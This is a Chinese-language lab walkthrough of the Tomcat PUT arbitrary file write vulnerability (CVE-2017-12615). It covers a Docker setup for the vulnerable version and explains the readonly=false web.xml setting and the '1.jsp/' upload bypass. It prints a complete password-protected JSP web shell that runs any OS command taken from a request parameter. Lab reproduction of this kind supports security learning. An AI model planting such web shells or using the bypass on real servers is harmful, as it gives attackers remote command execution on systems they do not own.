Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)
只要用到了该中间件&框架,且其版本处于漏洞版本之中,就会存在该漏洞。
Tomcat版本:7.0.0-7.0.79、8.5.19
前提:centos部署好docker,部署流程可参考这里
语法:docker search 镜像名字
语法:docker pull 镜像名字
语法:docker images //此命令会列出本地已下载的镜像
语法:docker run -d -p 8081:8080 镜像名字
-d //后台运行
8081:8080 //主机端口号:容器端口号(后面实际访问的是主机端口号)
语法:docker ps //列出当前运行的镜像
网址:主机地址:主机端口号
如果docker部署在虚拟机,那主机地址就是虚拟机的地址
如果docker部署在服务器,那主机地址就是服务器的地址
主机端口号就是前面自己映射的端口号,在我这里就是8081
此时网页的请求会被burp抓取
<%
if("magedu".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
注:第一行的magedu和pwd可以自行设置,主要用于后面的漏洞利用,格式为:pwd=magedu,可以理解为密码
此时,i的值就是linux的命令,这里我用ls,pwd进行演示
漏洞本质是 Tomcat 的 web.xml 配置了可写(readonly=false),导致我们可以往服务器写(PUT)文件:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
tomcat本身不允许上传 jsp 文件,但是1.jsp/ 加了 / 就不是 jsp 文件,所以文件可以成功上传。系统保存文件时因为不能存在/字符,所以/被忽略了,所以文件名从 1.jsp/ -> 1.jsp,至此jsp文件完成了上传并保存。